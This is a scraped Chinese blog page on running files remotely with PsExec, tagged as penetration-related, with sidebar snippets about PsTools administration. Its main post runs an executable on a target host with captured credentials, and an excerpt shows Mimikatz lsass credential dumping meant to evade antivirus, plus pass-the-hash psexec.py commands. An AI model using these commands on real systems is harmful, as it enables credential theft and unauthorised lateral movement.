pstools psexec 执行文件

sysprogram sysprogram 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 1.6k累计阅读 1.7k平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄17年
关注
原创 最新推荐文章于 2026-09-19 11:42:55 发布 1.6k 阅读 AI 写同款· GEO 优化 ›
绕过360实现lsass转储 前言 获取Windows用户的凭证信息是渗透过程中至关重要的一步。 没杀软，只要有权限想怎么读就怎么读。 有杀软，得用一些特别的技巧。 注：本机所有测试均为物理机,且为最新版AV Mimikatz直接读取Lsass进程 权限提升 privilege::debug 抓取密码 sekurlsa::logonpasswords [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BSPqd5Xv-1650257094211)(image-20220411145456534.png 阅读详情

在目标上第一次执行时会有一个提示，请使用如下命令设置为“同意”

pslist.exe -accepteula

拿到目标用户与密码以后，通过psexec来执行一个文件命令如下 

Psexec.exe \\10.10.7.123 -u user -p 9893 -d D:\dell\s.exe
收录于
渗透相关

当前文章被收录于：

渗透相关
43 篇文章 3 人学习
订阅专栏 查看详情
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
psexec/PsExec/wmiexec 依赖于对方开启admin$共享或c$ (该共享默认开启，依赖于445端口) python版本 python psexec.py -hashes LMhash:NTLMhash start/yonghuming@10.211.55.6 python psexec.py start/yonghuming:password@10.211.55.6 exe版本，Pstool PsExec.exe \\127.0.0.1 -u start\username -p pass cmd 相关文.. 阅读详情

相关推荐

《Windows Sysinternals实战指南》命令速查（7.24）：PsTools 全家桶语法与脚本片段库

有了这份PsTools 命令速查与脚本片段库可复用、可审计、可回滚。下一篇（7.25）我们把它进一步接入PowerShell/批处理/Ansible，做成可落地的自动化流水线。

分享 Windows 系统部署、镜像封装、终端管理、故障排查与运维自动化实践，涵盖 Sysinternals、PowerShell 和 AI 工具应用。记录真实问题、探索过程与解决方法，也分享 AI 时代的学习心得和实践经验，让技术更易理解 2万+

PsExec的问题及其解决办法

C:\>PsExec.exe \\192.168.1.142 cmd PsExec v1.98 - Execute processes remotely Copyright (C) 2001-2010 Mark Russinovich Sysinternals - www.sysinternals.com Couldn't access 192.168.1.142: 登录失败: 未知的用...

Finder_Way 7179

psexec的用法 例

PsExec 开关 说明 -a 指定处理器关联。 -c 指示是否应将应用程序复制到远程系统。 -d 指定在退出前不等待进程结束（不等待成功或失败的消息）。 -e 使用指定帐户的配置文件加载。 -f 即使远程系统上存在该应用程序也进行复制。确保运行当前（或特定）版本。 -i 在远程系统上以交互方式运行应用程序（如果想要某位最终用户看到该应用程序的任何用户界面，则必须采用这种模式）。 -l 以受限用户身份运行应用程序。删除管理员组令牌并且将进程权限降至用户组成员的权限级别。便于以最低权限运行高风险、面向 Internet 的应用程序。 -n 指定在与远程计算机连接失败之前等待的超时时间。 -priority 按指定的优先级运行进程。即，指定 Windows 应为给定任务所设的进程优先级（-low、-belownormal、-abovenormal、-high 或 –realtime）。 -s 使用系统帐户运行进程（便于运行 Regedit 来访问权限内的注册表项）。 -v 只在所复制应用程序为更高版本时才复制该应用程序。 -x 在 Winlogon 安全桌面上显示 UI（仅适用于本地系统）。 @file 针对文本文件中所指定的所有计算机运行该命令。

PsExec 实用工具

PsExec 实用工具 简介： 1.PsExec 是一个轻型的 telnet 替代工具，它使您无需手动安装客户端软件即可执行其他系统上的进程，并且可以获得与控制台应用程序相当的完全交互性。 2.PsExec 最强大的功能之一是在远程系统和远程支持工具（如 IpConfig）中启动交互式命令提示窗口，以便显示无法通过其他方式显示的有关远程系统的信息。 安装（绿色版） 只需将 PsExec 解压并复制到可执行路径，打开cmd命令窗口。 键入“psexec”可显示其使用语法。 PsExec 可在 Windows

方冬_肖 3271

Python爬虫实战：西瓜视频m3u8解析与FFmpeg下载合并

网络爬虫与流媒体解析是Python工程实践中的常见需求，其核心在于通过HTTP请求获取数据并解析特定格式。m3u8作为HLS协议索引文件，将视频切分为ts分片，便于流式传输。结合FFmpeg的多线程处理能力，可高效完成分片下载与合并，技术价值在于提升视频处理效率。典型应用场景包括视频下载、离线缓存等。本文以西瓜视频为例，详细讲解如何使用requests库提取m3u8地址，并调用FFmpeg批量下载ts分片合并为mp4，涵盖请求伪装、索引解析及常见问题排查。

weixin_31856057的博客 15万+

反激开关电源设计全解析：从CCM/DCM原理到PCB布局实战

开关电源作为现代电子设备的能量转换核心，其核心原理是通过高频开关动作实现高效的电能变换。反激拓扑因其结构简单、成本低廉且易于实现电气隔离，成为小功率离线式电源的主流选择。其技术价值在于通过变压器耦合实现能量存储与传递，解决了安全隔离与多路输出等关键需求，广泛应用于充电器、适配器及家电供电等场景。本文聚焦反激电路，深入剖析其CCM与DCM两种工作模式的原理差异及选型考量，并结合伏秒平衡定律与RCD钳位等热词，详解从变压器计算到MOSFET选型的完整工程设计流程。

weixin_31951365的博客 344

psexec在第一次运行的时候会弹出框框，让用户选择是否允许此软件运行,如何去除它？

特别提示：psexec在第一次运行的时候会弹出框框，让用户选择是否允许此软件运行。 如果在命令行模式下面，防止弹框，第一次运行时需要带参数： /accepteula，此参数未公开。 psexec /accepteula     Use the /accepteula command-line switch to accept the licence agreement. Or set

编程岁月 2876

FPGA新手必看：用USB转TTL实现串口通信的完整流程（附CH340G电路详解）

本文为FPGA新手提供了通过USB转TTL模块实现串口通信的完整实战指南。详细解析了CH340G电路设计要点、硬件连接方法，并分享了经过验证的Verilog代码框架，帮助读者快速掌握FPGA与PC通信的核心技术，解决电平匹配与波特率设置等常见问题。

cake8的博客 1053

psexec使用心得

psexec是一个不错的工具，可以帮助管理员远程安装程序。可以将本地的一个程序文件拷贝到其他电脑或服务器上运行，但当你需要运行一个程序包，那该如何运行？   背景： 文件服务器上有共享文件夹，有程序安装包，需要在远程的多台电脑上安装： 方法： 1。下载pstools，拷贝psexec.exe到c盘下； 2。建立一个批处理文件a.bat，内容： @echo off net use H

Anyray的专栏 5275

Trae编程工具Cline插件深度集成与Claude 3.7 API Key高级配置实战

本文详细介绍了如何在Trae编程工具中深度集成Cline插件并配置Claude 3.7 API Key的高级技巧。通过实战案例，展示了如何提升代码补全质量、实现多轮对话记忆及自定义代理设置，特别适合全栈工程师和需要私有化AI服务的团队。文章还涵盖了安装流程、API Key获取方式及企业级部署的最佳实践。

weixin_28829903的博客 436

在 SAP S/4HANA 的 BP 事务里做保存前校验：BDT 事件、BUPA_FURTHER_CHECKS 与 CVI 扩展 BAdI 一次讲透

SAP BP事务保存前校验机制解析 摘要：本文系统梳理了SAP BP事务保存前的校验机制，揭示了三种关键校验点的差异与适用场景： BDT框架DCHCK事件：最靠近UI层，适合屏幕字段级校验，但API调用时可能失效 Classic BAdI BUPA_FURTHER_CHECKS：全局拦截点，可阻断整个BP保存，适合核心业务规则 CVI扩展校验：仅管控供应商/客户段落，需注意可能产生"BP已保存但段落未保存"的情况 文章通过真实案例（如黑名单校验、付款冻结等）展示了各校验点的最佳实践，并特

2007 年 ~ 2025 年，深耕 SAP 技术 18 年 312

pstools工具使用方法

本篇文章是基于pstools 1.6版本。pstools是sysinternals出的一个功能强大的nt/2k远程管理工具包。 它的主页为http://www.sysinternals.com/ 下载地址为http://www.sysinternals.com/files/Pstools.zip (1)psexec psexec是一个远程执行工具，你可以像使用telnet一样使用它

十年磨一剑，霜刃未曾试! 9231

自动驾驶感知新方案：YOLOv13多模态（RGB+LiDAR+热成像）融合实战

YOLOv13的RGB+LiDAR+热成像多模态融合方案，解决了自动驾驶感知的鲁棒性问题，通过跨模态特征互补和注意力融合，实现了复杂场景下的高精度检测。本文从架构设计、数据预处理、核心模块实现到车载部署，完成了全流程实战。动态模态权重：根据场景自动调整各模态的权重（如黑夜场景提升热成像权重）；端到端3D检测：直接从原始点云与图像进行3D检测，减少预处理步骤；轻量化优化：针对车载设备进一步剪枝量化，提升推理速度。

专注于Python爬虫开发，分享爬虫技巧、项目实战与反爬经验，使用Scrapy、BeautifulSoup等工具，解决数据抓取难题。 536

PsTools sexec的使用

PsTools是Sysinternals公司推出的一个功能强大的远程管理工具包，一共由12个命令组成，可以用来远程管理Windows NT/2000/XP系统。该软件在DOS窗口中操作，虽然没有漂亮的图形界面，但是功能却十分强大，使用起来也很简便。http://technet.microsoft.com/en-US/sysinternalspsexec是一个远程执行工具，你可...

weixin_33834679的博客 725

YOLOv8性能突破：DySample超轻量动态上采样算子的创新应用与实现【附保姆级代码】

YOLOv8（You Only Look Once Version 8）作为YOLO系列模型的最新版本，延续了高效、准确的目标检测优势。其基础结构包含了骨干网络（Backbone）、检测头（Head）、以及特征融合层（Neck）。在特征融合阶段，YOLOv8需要对不同尺度的特征图进行上采样，以便将低分辨率的特征与高分辨率的特征进行融合。传统的上采样操作多使用插值（如双线性插值）或固定卷积，而这些方法可能无法很好地适应复杂的上下文信息。

一键难忘的博客 3122

零基础学写《扫雷》游戏（Qt扫雷源码）

扫雷游戏是在windows系统中自带的游戏，他的游戏玩法其实很简单，20世纪初期电脑上没有啥游戏可以玩，所以扫雷游戏也算是当时是最常火爆的一个电脑游戏。以下文章详细介绍扫雷游戏的实现。实现语言为C++。

啊渊的专栏 1万+

PS图片删除需要计算机管理权限,如何使用PsTools工具执行本地/远程PC管理任务

大多数刚入门的管理员都习惯使用 RDP 或其它类似的工具连接到远程 Windows 中进行图形化管理。而 PowerShell 及 PsTools 等工具可以帮助我们在命令行中执行相当多的管理任务，更主要的是可以将其写成脚本来执行周期性重复任务或在管理大批量服务器时提高效率。在企业环境中掌握更多的命令行工具不仅可以节省时间，以更聪明和智能的方式完成工作，更是一个系统管理员所必需掌握的关键技能。作为...

weixin_35591736的博客 750

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表，创建专业级图表以简化复杂的信息。

远程工具psexec

转自：http://aliangjoey.spaces.live.com/ (1)psexecpsexec是一个远程执行工具，你可以像使用telnet一样使用它。它的使用格式为：psexec \\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments]它的参数有：-u后面跟用户名 -p后面是跟密码的,...

weixin_30650039的博客 205

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

IEM模型，地表粗糙度模拟

利用微波反演土壤水分时候，利用IEM模型可以实现对随机地表的模拟

win11获取最高权限（比管理员权限还要高）

获取 Windows 11 的 SYSTEM 权限是一个高风险操作，仅限合法技术研究使用。SYSTEM 账户拥有最高系统权限，误操作可能导致系统崩溃或安全漏洞。常见方法是使用微软官方工具 PsExec：下载 Sysinternals Suite，以管理员身份运行命令提示符，执行 psexec -s -i cmd.exe 命令即可获得 SYSTEM 权限的交互窗口（可通过 whoami 验证）。务必谨慎操作，严禁用于非法用途。

weixin_46028606的博客 2351

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具，可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

pstools工具的使用

(1)psexecpsexec是一个远程执行工具，你可以像使用telnet一样使用它。它的使用格式为：psexec \\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments]它的参数有：-u后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则...

weixin_33709364的博客 131

PsExec用法及远程操控执行脚本举例

PsExec用法及远程操控执行脚本举例 一、 简介 PsExec是一种轻量级的telnet替代品，可以在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件。PsExec强大的用途是在远程系统上启动交互式命令提示，远程启动执行包括IpConfig等cmd命令，故能够远程启动服务器上程序、脚本等。 二、 环境配置 2.1 安装PsTools 安装PsTools到执行远程命令的本...

Penn Li的博客 2万+

pstool套件包含工具使用

PsUptime - 显示系统自上次重新启动以来已运行多长时间（PsUptime 的功能已合并到 PsInfo 中）PsLoggedOn - 查看谁在本地并通过资源共享登录（包含完整源）PsShutdown - 关闭计算机，然后重启计算机（可选）PsGetSid - 显示计算机或用户的 SID。PsKill - 按名称或进程 ID 终止进程。PsList - 列出有关进程的详细信息。PsFile - 显示远程打开的文件。PsInfo - 列出有关系统的信息。PsExec - 远程执行进程。

愿路途漫长，莫失莫忘。 愿不骄不躁，安稳顺心。 710

【亲测免费】 PSTools工具包及使用说明

PSTools工具包及使用说明 【下载地址】PSTools工具包及使用说明 本仓库提供了一个名为“PSTools及使用说明”的资源文件下载。该资源文件包含了全套的PSTools工具，其中最主要的工具是PsExec.exe。这些工具主要用于注册表删除等操作 ...

gitblog_09738的博客 899

remote tools

(1)psexecpsexec是一个远程执行工具，你可以像使用telnet一样使用它。它的使用格式为：psexec \\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments]它的参数有：-u后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则...

weixin_33851177的博客 195

PSTOOLS系列工具分析----对PSEXEC的逆向解析

 PSTOOLS系列工具分析----对PSEXEC的逆向解析    在网络攻击中，经常用到一个工具系列叫pstools，它是由Sysinternals公司推出的一个功能强大的Windows NT/2000远程管理工具包，最新版本为V2.1，包含了10多个工具。在入侵时，最常用的就是其中的psexec（获取对方Shell）、pslist(列举进程)、pskill（杀进程）等工具，它们使用简单

在程序中感悟人生算法 7446
上一篇： 域环境相关命令
下一篇： 一份详尽的IPC$入侵资料
点赞 0
评论 0
书签 书签 1
sysprogram
sysprogram
博客等级 码龄17年 298粉丝 442原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值